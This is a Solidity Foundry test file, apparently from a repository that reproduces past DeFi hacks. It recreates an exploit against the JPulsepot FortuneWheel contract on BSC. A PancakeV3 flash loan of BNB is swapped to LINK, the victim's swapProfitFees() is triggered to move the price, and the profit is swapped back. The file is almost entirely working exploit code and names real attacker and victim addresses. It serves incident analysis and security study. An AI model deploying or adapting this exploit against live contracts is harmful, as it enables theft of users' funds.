-
Notifications
You must be signed in to change notification settings - Fork 1.2k
/
Copy pathJPulsepot_exp.sol
76 lines (60 loc) · 3.02 KB
/
JPulsepot_exp.sol
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.15;
import "../basetest.sol";
// @KeyInfo - Total Lost : 21.5K
// Attacker : https://bscscan.com/address/0xf1e73123594cb0f3655d40e4dd6bde41fa8806e8
// Attack Contract : https://bscscan.com/address/0xe40ab156440804c3404bb80cbb6b47dddd3abfd7
// Vulnerable Contract : https://bscscan.com/address/0x384b9fb6e42dab87f3023d87ea1575499a69998e
// Attack Tx : https://bscscan.com/tx/0xd6ba15ecf3df9aaae37450df8f79233267af41535793ee1f69c565b50e28f7da
// @Info
// Vulnerable Contract Code : https://bscscan.com/address/0x384b9fb6e42dab87f3023d87ea1575499a69998e#code
// @Analysis
// Post-mortem :
// Twitter Guy : https://x.com/CertiKAlert/status/1877662352834793639
// Hacking God :
pragma solidity ^0.8.0;
import "../interface.sol";
interface IFortuneWheel {
function swapProfitFees() external;
}
contract JPulsepot is BaseTestWithBalanceLog {
uint256 blocknumToForkFrom = 45_640_245;
address internal constant PancakeV3Pool = 0x172fcD41E0913e95784454622d1c3724f546f849;
address internal constant BNB = 0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c;
address internal constant PancakeV2Router = 0x10ED43C718714eb63d5aA57B78B54704E256024E;
address internal constant LINK = 0xF8A0BF9cF54Bb92F17374d9e9A321E6a111a51bD;
address internal constant victim = 0x384b9fb6E42dab87F3023D87ea1575499A69998E;
function setUp() public {
vm.createSelectFork("bsc", blocknumToForkFrom);
//Change this to the target token to get token balance of,Keep it address 0 if its ETH that is gotten at the end of the exploit
fundingToken = address(BNB);
}
function testExploit() public balanceLog {
//implement exploit code here
address recipient = address(this);
uint256 amount0 = 0;
uint256 amount1 = 4_300_000_000_000_000_000_000;
bytes memory data = abi.encode(amount1);
IPancakeV3Pool(PancakeV3Pool).flash(recipient, amount0, amount1, data);
}
function pancakeV3FlashCallback(uint256 fee0, uint256 fee1, bytes memory data) external {
uint256 amount = abi.decode(data, (uint256));
IERC20(BNB).approve(PancakeV2Router, type(uint256).max);
uint256 amountIn = amount;
uint256 amonutOutMin = 0;
address[] memory path = new address[](2);
path[0] = BNB;
path[1] = LINK;
address recipient = address(this);
uint256 deadline = block.timestamp;
IUniswapV2Router(payable(PancakeV2Router)).swapExactTokensForTokensSupportingFeeOnTransferTokens(amountIn, amonutOutMin, path, recipient, deadline);
IFortuneWheel(victim).swapProfitFees();
IERC20(LINK).approve(PancakeV2Router, type(uint256).max);
amountIn = IERC20(LINK).balanceOf(address(this));
path[0] = LINK;
path[1] = BNB;
IUniswapV2Router(payable(PancakeV2Router)).swapExactTokensForTokensSupportingFeeOnTransferTokens(amountIn, 0, path, recipient, deadline);
IERC20(BNB).transfer(msg.sender, amount+fee1);
}
receive() external payable {}
}